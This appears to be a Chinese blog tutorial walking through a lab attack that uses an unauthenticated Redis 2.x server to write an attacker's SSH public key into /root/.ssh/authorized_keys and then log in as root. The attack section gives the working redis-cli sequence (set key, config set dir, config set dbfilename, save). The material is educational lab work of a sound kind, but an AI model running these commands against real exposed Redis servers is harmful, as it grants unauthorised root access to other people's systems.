• 【网络安全】通过Redis2.x实现ssh未授权访问


    导读

    开发环境

    版本号描述
    操作系统Win11-21H2内部版本号22000.588
    kalikali-linux-2022.3-live-amd64.iso
    redis-server(目标机器)redis-2.8.17.tar.gzhttps://pan.baidu.com/s/1I9mByRQjFaNvt040xOm8_w?pwd=27qf
    redis-cli(攻击机器)Redis-x64-5.0.14.ziphttps://pan.baidu.com/s/1qAkZMBUWVWJvU2bpBq_LNQ?pwd=nhx8

    准备工作

    虚拟机搭建(目标机kali)

    下载iso文件:
    |
    在这里插入图片描述
    |
    这里选择Live Boot模式的iso,不用安装就可以直接体验kali。
    |在这里插入图片描述

    虚拟机安装
    |
    在这里插入图片描述
    在这里插入图片描述

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    修改虚拟机配置
    |
    在这里插入图片描述

    启动虚拟机
    在这里插入图片描述

    查看并启动ssh服务
    systemctl status ssh
    systemctl start ssh
    在这里插入图片描述

    开启root账号

    kali默认用户为kali,我们使用root账号进行实验,所以需要设置root账号的密码(这里随便设置个密码就行)。

    执行命令sudo passwd root

    在这里插入图片描述

    生成公钥和私钥(攻击机win11)

    windows自带了ssh应用,如下图:
    在这里插入图片描述

    通过ssh-keygen命令生成公钥私钥
    在这里插入图片描述

    手动实现ssh免密登录

    将公钥拷贝到目标机器(kali)

    • 在win11上拷贝一份公钥,名称命名为authorized_keys
      在这里插入图片描述

    • 管理员权限创建目录/root/.ssh
      在这里插入图片描述

    • 以root权限打开资源管理器
      在这里插入图片描述

    • 通过右键菜单拷贝文件到目录/root/.ssh在这里插入图片描述

    攻击机(win11)上连接目标机(kali)

    • 查看目标机器ip
      在这里插入图片描述

    • 连接目标机:ssh -i C:/Users/Administrator/.ssh/id_rsa root@192.168.128.129
      在这里插入图片描述

    攻击原理分析

    从上一步中(手动实现ssh免密登录),我们可以看出来,我们只需要将公钥id_rsa.pub重命名为authorized_keys,然后拷贝到目标机器/root/.ssh目录下就可以实现未授权访问Redis了。
    redis刚好能满足我们的需求,2.x版本的redis,默认配置,能被外网访问,并完成上面的操作,我们正是利用这个特性,完成ssh未授权访问

    攻击机(win11)上连接目标机(kali)

    攻击实战

    删除文件authorized_keys,准备模拟攻击

    • 删除文件authorized_keys,再次连接目标机,如下所示(要求输入密码才能登录):

    在这里插入图片描述

    目标机器的redis-server安装和配置

    下载redis-server(目标机器,kali):https://pan.baidu.com/s/1I9mByRQjFaNvt040xOm8_w?pwd=27qf

    redis-2.8.17.tar.gz拷贝到/root目录下。

    解压并安装redis-server在这里插入图片描述

    mkdir /usr/local/redis
    tar -zxvf redis-2.8.17.tar.gz
    cd redis-2.8.17
    make PREFIX=/usr/local/redis install
    
    • 1
    • 2
    • 3
    • 4

    运行redis-server
    在这里插入图片描述

    /usr/local/redis/bin/redis-server  redis.conf
    
    • 1

    攻击机器redis-cli安装和配置

    下载redis-cli(攻击机器,win11):https://pan.baidu.com/s/1qAkZMBUWVWJvU2bpBq_LNQ?pwd=nhx8

    解压Redis-x64-5.0.14.zip,redis-cli连接目标机器:
    在这里插入图片描述

    通过redis-cli,在目标机器中写入配置文件:

    # 将公钥保存到内存中,添加回车换行符`\n`到公钥的前后。
    set key "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/SQUPXaHJ7m2PANHUGcvIZ5wdEjy6wuEeQI2etYIeod3iE6udtxQtbOR1H3BsS9pozAX974w2+QLT1DrjF7V6zX8YEFHHG1JDhIyyNwf7OSstkcjSnlf8kmpQrGOwKkW78/yFRgoPOSfH2sONc0Ac2VzGEJFdU4tAYQMNUbpt+GhKezJjo+VG3wkhXlOXvgjqcyKN2Y9WuQ16bvrMrddQMzWoTzksxKBtoC/2ccLw6S9drnr/3xkKYUh8gzvcn2H/HR3hkA5rVZsfP/DrxuCN9jTVbjLmkTkXkrZN1qgQJX4rlQUjZM+/vu/c9dhNQ8iQAk69BjwqYDo2sO/UG7HYW/ao+l7FrvqbA0vNd56G6PJ6HH5rlIYV3awWGg8JtSMTbGmP91QfaN9pZ7AYyd+GSSnspbAjI2xRBnjxANJkEKBkLlvzieOzXwHhn76zJYpJFEvJcRYLJiv2a8SBBapO1tOfAIozGjQhV7ywREvssAkb8ggWWtloUutYjV61uzU= administrator@PC-202204131244\n\n"
    # 设置备份目录
    config set dir /root/.ssh/
    # 设置备份文件名
    config set dbfilename "authorized_keys"
    # 备份文件
    save
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    测试:ssh免密登录到靶机

    • 连接目标机:ssh -i C:/Users/Administrator/.ssh/id_rsa root@192.168.128.129
      在这里插入图片描述

    参考资料

  • 相关阅读:
    【Kurbernetes部署】知识点总结(部署方式、网络插件.....)
    python经典百题之求奇数个数
    无线通信技术_Fundamentals of Wireless Communication
    dlib 的安装和检测人脸(包括关键68个点位检测)(1)
    【建站教程】使用阿里云服务器怎么搭建网站?
    安全典型配置(二)使用ACL限制用户在特定时间访问特定服务器的权限
    vue打包的基层原理
    from sklearn import cross_validation 报错的解决方法
    向毕业妥协系列之机器学习笔记:监督学习-回归与分类(一)
    Selenium 遇见伪元素该如何处理?
  • 原文地址:https://blog.csdn.net/kinghzking/article/details/126472739